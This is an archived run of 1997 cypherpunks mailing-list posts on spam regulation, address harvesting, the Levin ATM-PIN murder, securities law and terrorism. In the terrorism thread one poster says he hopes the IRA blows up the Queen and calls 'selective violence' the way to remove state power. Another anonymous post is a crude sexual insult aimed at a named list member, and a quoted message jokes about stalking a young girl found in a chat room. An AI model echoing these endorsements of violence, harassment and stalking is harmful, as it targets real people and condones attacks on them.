persecuted group on the 'net today - more so than CoS or the Nazis :-)
It could be a political candidate sending his campaign ad to hundreds
of thousands of e-mail addresses - this has happened before. It could
be an environmental organization calling for a boycott of some product
or corporation]

Under the law Igor proposed (and I understand "anto-spam" bills to this
effect are floating around the various legislatures), this wouldn't need
to be labelled "ad".

"Voluntary" labelling can be made pretty much mandatory - like movie
ratings and now TV show ratings, and Social Security "contributions"
are "voluntary". You don't have to "voluntarily" label any article
critical of the Klinton Administration as "seditious spam", but you
can't find a backbone which doesn't require its ISPs to make it a
part of their TOS. But we're not quite there yet.

BTW, under Stanford Wallace's TOS, if the J4J neglected to run his mailing
list through Stanford's "scrub" database, removing the addresses that don't
want "bulk" e-mail, the poor J4J would probably be spanked hard.

(See WWW.IEMMC.ORG. I'm not sure if this is right either.)

Of course some people make a point of refusing to put their addresses
on the "scrub" list, and then bitching when they get bulk e-mail,
vecause they want all bulk e-mail to stop. Bulk e-mail professionals
have their own blacklist of people who bitch, and try not to e-mail
them even without their "remove" request. :-)

Then again, what constitutes "bulk"? Suppose the J4J sent a single unsolicited
prozelityzing e-mail to a single soc.culture.jewish poster, who goes
ballistic. Or suppose the J4J posted a prozelityzing article in
soc.culture.jewish, and someone sent him an e-mail in response, saying "Fuck
you, hazer, please refrain from sliming s.c.j with your xian propaganda".

"Harrassment" is a content-based judgment call, as is "commercial
advertisement". Would a more polite request to "stay away from our Jewish
newsgroup, please" be more kosher? Is it acceptable for a "politically
correct" homosexual to send hate e-mail to the posters on
alt.fan.rush-limbaugh with specific criticisms of their articles?

Yes, the only honorable response to speech you don't like
is to ignore it or to respond with more speech. Is it acceptable
to send an e-mail flame directly to a poster in a moderated newsgroup
if the flame has no chance of being approved by the moderator?
(No, because there aren't any moderated newsgroups anymore :-)

When an e-mail address is publicized (e.g. by posting to Usenet, or by
having it mentioned in a Web page), it will get "unsolicited" e-mail from
strangers - hopefully not "harrassing". A way out of it is to install
filters that separate "stranger" e-mail from the e-mail from known parties.

E.g., I might create a file that contained keywords that are of
interest to me - names of friends, words like "crypto" or "freedom knights".
Then I could have .procmailrc invoke grep, and if none of the keywords
matched, put the e-mail in a special folder that I'd check once a week
before emptying. (I could do the same with pure .procmailrc I suppose.)
Anyway, I'm not doing this yet, but I think this is our future.

By the way, today's address harvesters do much more than grep usenet
headers for addresses for indiscriminate bulk e-mail.

They not only go through Usenet articles and clean up the usual
"anti-spam" manglings in the headers and bodies.  They also crawl
through Web pages, collecting everything that looks like e-mail
addresses; they monitor IRC and collect e-mail addresses. They
monitor mailing lists to the point of asking the listserv/majordomo
for the list of lists it carries, then asking it for the list
of subscribers to each list.

Also instead of just building the biggest possible list of e-mail
addresses, they build a targeted database, keeping track where a
particular e-mail address was found. Suppose a person subscribes
to a "porsche owners" mailing list, and goes to an investment-
related channel on one of the IRC servers. In no time he'll be
getting "junk e-mail" related to the interests he expressed -
possibly even saying "I'm writing you because I saw you on the
#invest channel on Tuesday, and I want to tell you about this
hot new penny stock"

These programs, vastly more sophisticated than the bulk mail of
even a year ago, which just collected e-mail addresses from Usenet
and e-mail them all indiscriminately, will drive the latter out.
Why bother, when you can pay a very reasonable fee to a service
bureau that will deliver your ad to an audeince that a) doesn't
object to bulk e-mail, b) is bigger than what you would have
gathered with primitive grep-like tools.

Left to itself, the market will stabilize and the occasional unsolicited
bulk e-mail will be even less of a nuisance than it is now.

[One good use for UBE: suppose you've foolishly subscribed to an
ISP like IDT - the crooks that provide shitty service and make it
very hard to cancel - they just keep billing your credit card.
One sure way to terminate one's account is to use it to "spam"
Usenet or to send out a mass e-mail objecting to IDT's lousy
service and content censorship.]

Fuck the Usenet Cabal!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nexus@eskimo.com (Brian Lane)
Date: Sat, 7 Jun 1997 22:30:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <33996cfa.26096067@mail.eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:

>Mike Duvos wrote:
>> 
>> 
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>> 
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>
>This brings up a question. Did these robbers kill him right after
>they found out the answer, or they first tried to withdraw money
>to check if his number was right?

  Yes, this is apparently how it happened. The robber tortured him for
the PIN, used the card to get $800 from a machine and then returned to
stab and shoot him. Apparently the murderer is one of his students (he
was a teacher in NY I believe). This happened after Levin asked the
class to write their biographies and revealed who his father was.

>
>This brings up a question on the strategy in this game.

  I don't think there is any strategy in being robbed, only survuval.
Levin commited a grave mistake. Revealing his background to his class
was a very stupid move.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:00:45 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <8TZX8D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



ichudov@algebra.com (Igor Chudov @ home) writes:
> There is a lot of commercial compelled speech. For example,
> mutual funds must say that past performance is not a guarantee
> of future results.
>
> Do you find this kind of compelled speech unconstitutional?

(Is Black Unicorn reading this?)

The purpose of the securities laws is not to protect the small investor
(who gets fucked very thoroughly, thank you :-) but the large financial
services firms with political connections.

For example the requirement to put out the red herring for a non-trivial
IPO is there not to protect the investors who buy in on the IPO, but to
ensure that the syndicate that underwrites the IPO gets their 2+%.

Ditto for the entire legal framework, including the U.S. Constitution and
any other country's legal framework - its goal is to protect the
(economic) interests of the ruling class, and whatever serves those
interests is "constitutional". Inasmuch as free speech on the Internet
threatens the murderous fascist dictatorship in Washington, DC, any
restrictions on free speech are therefore "constitutional".

You remind me, Igor, of a recent story I read in a paper which I already
threw away, so I'll reconstruct it from memory, probably with mistakes:

* a few folks from Long Island, not NASD registered,published an "investment
  advice" newsletter, distributed over the Internet and fax. Subscriptions
  cost >$1K/year. It was called something like "The Small-Cap Equity
  Speculator" (not exactly, my apologies, but "speculation" was definitely
  in the title)

* Among the many penny stocks they discussed was some kind of a motorcycle
  manufacturer, whose name I forgot too. The newsletter recommended a buy
  based on their fundamentals analysis and potential sales.

* Some of the folks who published the newsletter had a long position in
  the stock, which they apparently bought months before the recommendation
  for (gasp) $2,000 (two thousand dollars).

* The newsletter had a disclaimer that the authors may hold positions in
  the stocks they're discussing [surprise!]

* The motorcycle stock fell in price, and the readers who bet on it lost money
  - as did, I presume, the newsletter publishers.  Some readers complained to
  the SEC, who's now trying to jail/fine the newsletter publishers.

* I no longer have the paper, and it wasn't terribly clear, but it sounded
  like SEC was unhappy that
   a) they were trying to drive up the price of the stock they were long
      (with the intent to sell? :-)
   b) they incorrectly analyzed the fundamentals and were wrong to
      recommend a buy when the price in fact failed to go up
      (The sales were like 10% of what they hoped for)
  [Now if every amateur investment analyst who fucked up went to jail...]

If this is true (and I may be missing important details), then why are these
unfortunates any less worthy of our support than, say, Jim Bell? :-)

Remind me some time to tell you in private e-mail of a few cases I witnessed
when large, politically connected financial services firms engaged in conduct
that would have landed you or me in jail - and it happens all the time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 06:33:24 +0800
To: cypherpunks@toad.com
Subject: Tim C. Stalker
Message-ID: <199706072221.PAA03680@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
> 
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)
> 
> --Jack D. Ripper

  I set up a "spoof" of the anonymizer page where it says "Click here
to find out what we know about you." <paraphrased) and turned a friend
on to the URL. When she clicked on the link, it provided all of the
relevant computer info, as well as her home address, the color of her
favorite nightie, and the fact that she sleeps with her bedroom window
open.
  She was only fooled for a fraction of a second, but in that time she
wet her drawers.

  I have no doubt that at some point in the future she will be able to
click on a similar link which is *not* a spoof.

              ^
             ! !
Flipper  _ ^ ! ! ^ _
        (            )






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 8 Jun 1997 04:52:08 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: TV Commercial
In-Reply-To: <v03007844afbde7341de8@[207.94.249.152]>
Message-ID: <Pine.BSF.3.91.970607152747.3758B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Bill Frantz wrote:

> At 12:34 AM -0700 6/6/97, David Lucas wrote:
> >It's a nice thought, but the image is all wrong. Two ships communicating
> >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
> >isn't what I would call very secure communication.
> 
> Well, the Japanese managed to keep secure communications when sneeking up
> on Pearl Harbor, and I assume they used something similar for ship-to-ship
> communications.  Narrow beam, and everyone who can receive is in sight is
> nice.
> 

Did they? This is a matter of some debate ...

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 8 Jun 1997 04:56:58 +0800
To: Mike Duvos <mpd@netcom.com>
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <Pine.BSF.3.91.970607153157.3758C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Fri, 6 Jun 1997, Mike Duvos wrote:

> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.
> 

A "duress" PIN which cancels the account would be a good addition; 
similar to the "duress" code on home security systems that appear to 
disarm the alarm but send a silent alarm to the monitoring station.

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:26:42 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970607124001.37225@bywater.songbird.com>
Message-ID: <362X8D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin <kent@songbird.com> writes:
> On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh <declan@pathfinder.com> writes:
> [...]
> >
> > Yes, the only honorable response to speech you don't like
> > is to ignore it or to respond with more speech.
>
> Quite so.  The issue, then, is "what is speech".  I put a 190 db
> megaphone next to your head and scream into it, and your eardrums
> rupture and the blood flows, that's arguably not speech.

Recall also how a few months ago Declan compared me to a loud drunk
in a bar who was drowning out all other patrons with noise, so
they couldn't talk there and had to toss me out.

Fortunately, neither of your analogies can happen on the Internet.

> I would argue that in order for something to fall under the absolute
> protections free speech it has to meet certain characteristics -- it
> can't lead to direct bodily harm, or property damage, or any other
> kind of "damage" that is legally defined.
>
> So the question of free speech is really, when you think about it, a
> question about what legally constitutes "damage".
>
> In the internet context, then, activities that cause any reasonable
> definition of "damage" could be controlled, under the "non-aggression
> principle" if nothing else.
>
> I think a reasonable definition of damage in an internet context is
> "excess interference with other transmission" (for some values of
> excess).

Suppose I post an article on alt.fan.rush-limbaugh making fun of the
"feminazis" [this is a hypo - I can't stand Rush] and one of those
feminazis sends me hate e-mail in response, opining that people like
me deserve to have their balls cut off with rusty scissors.  Suppose
her e-mail inflicts such a severe psychological trauma on me that I can't
get my dick up.  Can I, my wife, and my 2 girlfriends sue the
feminazi for damages?  How many girlfriends do I need to have
to make this a class action suit?

Suppose I have a virus on my computer which counts the number of
e-mails I receive and when it reaches 100, formats the hard disk.
Suppose the feminazi's e-mail happens to be #100, and triggers
the bomb. Is the poor feminazi responsible for the "damages"?
Suppose her little e-mail just happens to be the one that gets
my little 2GB hard disk full, causing the next incoming e-mail
to be lost. Is she responsible for that too?

In the Internet context, as you put it, if one can be "damaged"
by the speech, it's the listener's problem, not the speaker's.

One can set up one's mailbox to receive e-mail from only a given
list of senders.  One can even have no incoming mailbox (like
the noted Usenet personality Archimedes Plutonium).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 07:51:48 +0800
To: cypherpunks@Algebra.COM
Subject: Stats on the lists
Message-ID: <199706072342.QAA17818@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Sun, 8 Jun 1997 07:05:23 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Test [List Operator Reply Only]
Message-ID: <199706072229.RAA01059@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

This is a test.

List operators only please reply.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 06:57:38 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <8TZX8D18w165w@bwalk.dm.com>
Message-ID: <199706072240.RAA03045@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Dr.Dimitri Vulis KOTM wrote:
> ichudov@algebra.com (Igor Chudov @ home) writes:
> > There is a lot of commercial compelled speech. For example,
> > mutual funds must say that past performance is not a guarantee
> > of future results.
> >
> > Do you find this kind of compelled speech unconstitutional?
> 
> (Is Black Unicorn reading this?)
> 
> The purpose of the securities laws is not to protect the small investor
> (who gets fucked very thoroughly, thank you :-) but the large financial
> services firms with political connections.
> 
> For example the requirement to put out the red herring for a non-trivial
> IPO is there not to protect the investors who buy in on the IPO, but to
> ensure that the syndicate that underwrites the IPO gets their 2+%.

Actually, if I am not mistaken, the big securities houses like JP Morgan
objected very loudly when SEC was created in 1930s. They have probably 
adapted to the situation and manage to make a profit, but they probably 
adapt again if the regulations went away.

> Ditto for the entire legal framework, including the U.S. Constitution and
> any other country's legal framework - its goal is to protect the
> (economic) interests of the ruling class, and whatever serves those
> interests is "constitutional". Inasmuch as free speech on the Internet

And so what follows from this statement?

> threatens the murderous fascist dictatorship in Washington, DC, any
> restrictions on free speech are therefore "constitutional".
> 
> You remind me, Igor, of a recent story I read in a paper which I already
> threw away, so I'll reconstruct it from memory, probably with mistakes:
> 
> * a few folks from Long Island, not NASD registered,published an "investment
>   advice" newsletter, distributed over the Internet and fax. Subscriptions
>   cost >$1K/year. It was called something like "The Small-Cap Equity
>   Speculator" (not exactly, my apologies, but "speculation" was definitely
>   in the title)
> 
> * Among the many penny stocks they discussed was some kind of a motorcycle
>   manufacturer, whose name I forgot too. The newsletter recommended a buy
>   based on their fundamentals analysis and potential sales.
> 
> * Some of the folks who published the newsletter had a long position in
>   the stock, which they apparently bought months before the recommendation
>   for (gasp) $2,000 (two thousand dollars).
> 
> * The newsletter had a disclaimer that the authors may hold positions in
>   the stocks they're discussing [surprise!]
> 
> * The motorcycle stock fell in price, and the readers who bet on it lost money
>   - as did, I presume, the newsletter publishers.  Some readers complained to
>   the SEC, who's now trying to jail/fine the newsletter publishers.
> 
> * I no longer have the paper, and it wasn't terribly clear, but it sounded
>   like SEC was unhappy that
>    a) they were trying to drive up the price of the stock they were long
>       (with the intent to sell? :-)
>    b) they incorrectly analyzed the fundamentals and were wrong to
>       recommend a buy when the price in fact failed to go up
>       (The sales were like 10% of what they hoped for)
>   [Now if every amateur investment analyst who fucked up went to jail...]

... Or a mature analyst. Anyway, almost all of them fuck up.

There could be something else involved in that story, as it sounds, there
is little to prosecute these guys for, as far as I understand.

> If this is true (and I may be missing important details), then why are these
> unfortunates any less worthy of our support than, say, Jim Bell? :-)
> 
> Remind me some time to tell you in private e-mail of a few cases I witnessed
> when large, politically connected financial services firms engaged in conduct
> that would have landed you or me in jail - and it happens all the time.

I am interested.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 8 Jun 1997 09:05:32 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@EINSTEIN.ssz.com>
Subject: Re: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <19970607175546.46608@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Jun 07, 1997 at 05:29:42PM -0500, Jim Choate wrote:
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |            Speak the truth, but leave immediately after.              |
>   |                                     Slovenian Proverb                 |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 07:13:26 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <199706072302.SAA00318@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



bzzzzzzzzzzzzzzz
Jim Choate wrote:
> 
> 
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |                                                                       |
>   |            Speak the truth, but leave immediately after.              |
>   |                                                                       |
>   |                                     Slovenian Proverb                 |
>   |                                                                       |
>   |     Jim Choate                                 ravage@ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 8 Jun 1997 10:04:07 +0800
To: nexus@eskimo.com (Brian Lane)
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <3.0.2.32.19970607185143.0075b154@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:22 PM 6/7/97 GMT, Brian Lane wrote:
>  I don't think there is any strategy in being robbed, only survuval.
>Levin commited a grave mistake. Revealing his background to his class
>was a very stupid move.

Had the victim carried a firearm, his chances of survival would have
improved dramatically.

Gun control kills kids (and adults),


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 11:53:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
Message-ID: <199706080347.UAA12102@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
>A "duress" PIN which cancels the account would be a good addition; 
>similar to the "duress" code on home security systems that appear to 
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

Sure.  Could also have marked bills coated with staining UV flourescent
powder preloaded for just such an occasion.  Optionally, depending on the
location of the ATM, emergency lockdown features preventing the guy from
bugging out.  Easy enough to do....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Sun, 8 Jun 1997 09:50:09 +0800
To: Rabid Wombat <cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <v03102800afbfbdb3624c@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain



>On Fri, 6 Jun 1997, Mike Duvos wrote:
>
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>>
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>>
>
>A "duress" PIN which cancels the account would be a good addition;
>similar to the "duress" code on home security systems that appear to
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

I would want my account to remain active but instruct the machine to
dispense marked cash in case I'm outside in the trunk.

----
Survivalmonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 05:51:14 +0800
To: cypherpunks@Algebra.COM
Subject: UK cryptography list
Message-ID: <Pine.LNX.3.91.970607213945.10544A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




After much playing with majordomo I have decided to create a UK 
cryptography list, I intend the list to focus on UK cryptography
research, law, activism, announcements of conferences/meetings etc...

The list is being hosted on fatmans.demon.co.uk, which is served by a 
dial up connection, so message latency will be around 12 hours on 
average, but I do not see this as a problem as I imagine list traffic
will not be very high.

Of course, the list will be open for anyone to subscribe whether in the 
UK or not, and it will be totally unmoderated (with the exception of 
majordomos command filter which sends posts containing the string 
"subscribe" to the list owner instead of the list).

To subscribe to the list send email to majordomo@fatmans.demon.co.uk with 
the string "subscribe crypto" in the message body.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 13:25:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Steak Knife Decryption (Gun control comment)
Message-ID: <199706080518.WAA14409@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



On 6/7/97 Lucky Green wrote:
>Had the victim carried a firearm, his chances of survival would have
>improved dramatically.

Statistical fact: armed private citizens caputre and/or kill more
criminals in the US than all LEAs combined.  Of course, armed
criminals also kill more private citizens than all LEAs combined.

>Gun control kills kids (and adults),

"For the first time, a civilized nation has full gun registration.
Our streets will be safer, our police more efficient,
and the world will follow our lead to the future." 
								--- Adolf Hitler 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 13:51:35 +0800
To: cypherpunks@toad.com
Subject: Stats on the lists
Message-ID: <199706080539.WAA22512@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kris Carlier <root@iguana.be>
Date: Sun, 8 Jun 1997 05:13:01 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.91.970606110806.1642F-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.95.970607214347.31737B-100000@inlimbox.iguana.be>
MIME-Version: 1.0
Content-Type: text/plain



High Paul,

On Fri, 6 Jun 1997, Paul Bradley wrote:

> How long have you been on this list? Clearly not long enough.

I've not been long enough on this list for what ? Don't know about you,
but imvho violence is not a right solution. I will never be long enough on
this list to change my mind on that.
 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 

I must admit that it has helped quite a lot, those bombs. Expecially for
the building sector. 

> 5 miles from me) today, I hope the IRA blow her up...

How much must you hate someone to wish him/her dead ? Have you ever been
'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
died, perhaps ? How can you wish some other human being the same ? 
What if the IRA would blow up the queen ? I guess Charles is the next to
step on then ? What a progress !!

Havalook at Kongo: Mobutu has gone. Much better now ! After several
thousands were killed, the new president gives his first orders: "women
should not wear tight shirts anymore (I thought they were supposed to take
them off, but...) nor should they act in a sensual way.

Right, violence is at least A solution. But for what ?
BTW, I'd be very interested if you would care telling something more about
Northern Ireland. That's where you live I guess ? Are you "Catholic" or
"Protestant" ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier@iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 8 Jun 1997 18:49:08 +0800
To: carlier@iguana.be
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <Pine.LNX.3.95.970607214347.31737B-100000@inlimbox.iguana.be>
Message-ID: <Pine.LNX.3.91.970607230450.11734A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> How much must you hate someone to wish him/her dead ? Have you ever been
> 'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
> died, perhaps ? How can you wish some other human being the same ? 
> What if the IRA would blow up the queen ? I guess Charles is the next to
> step on then ? What a progress !!

Indeed I have, as I have said in other posts I have no particular 
sympathies with the IRA, they are thugs who kill indiscriminately. 
Wishing someone dead is not that great a step from accepting that
they commit crime against you. I don`t wish the queen dead because
of her clear opposition to terrorist violence, there are other reasons
for this. Maybe wishing her dead is a little too strong in this 
particular case.

> Havalook at Kongo: Mobutu has gone. Much better now ! After several
> thousands were killed, the new president gives his first orders: "women
> should not wear tight shirts anymore (I thought they were supposed to take
> them off, but...) nor should they act in a sensual way.
> 
> Right, violence is at least A solution. But for what ?
> BTW, I'd be very interested if you would care telling something more about
> Northern Ireland. That's where you live I guess ? Are you "Catholic" or
> "Protestant" ?

I live in mainland England. NI, although still violent, is now not the 
only place bombed by the IRA, until a few years ago they mainly attacked 
targets in NI, they now bomb all over the country.
I do not claim that violence is a global solution, merely that in some 
cases it works. And I don`t believe labelling retaliation "violence" is 
really correct, the word violence is derived from violate, ie. to violate 
someones rights in a material and tangiable manner, I don`t believe 
retaliation or defence is a violation of rights, merely a response to 
agression. I personally see other ways than violence out of most 
disagreements, but I believe the only way to remove the power of the 
state is through selective violence as part of an overall strategy 
including strong cryptography and associated technologies. 

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 15:13:14 +0800
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] ElGamal
Message-ID: <199706080700.AAA16299@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Warning: if you fuck Timmy Mayflower in the ass, a rabid 
tapeworm might bite your penis.

              /////
             [ o o ] Timmy Mayflower
              \_=_/
              _| |_
             / \_/ \
          _oOOO___OOOo_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rachel Willmer <rachel@intertrader.com>
Date: Sun, 8 Jun 1997 07:58:54 +0800
To: Paul Bradley <cypherpunks@Algebra.COM
Subject: Re: UK cryptography list
In-Reply-To: <Pine.LNX.3.91.970607213945.10544A-100000@fatmans.demon.co.uk>
Message-ID: <3.0.1.32.19970608005010.006ae988@mail.intertrader.com>
MIME-Version: 1.0
Content-Type: text/plain



At 21:46 07/06/97 +0000, Paul Bradley wrote:
>
>After much playing with majordomo I have decided to create a UK 
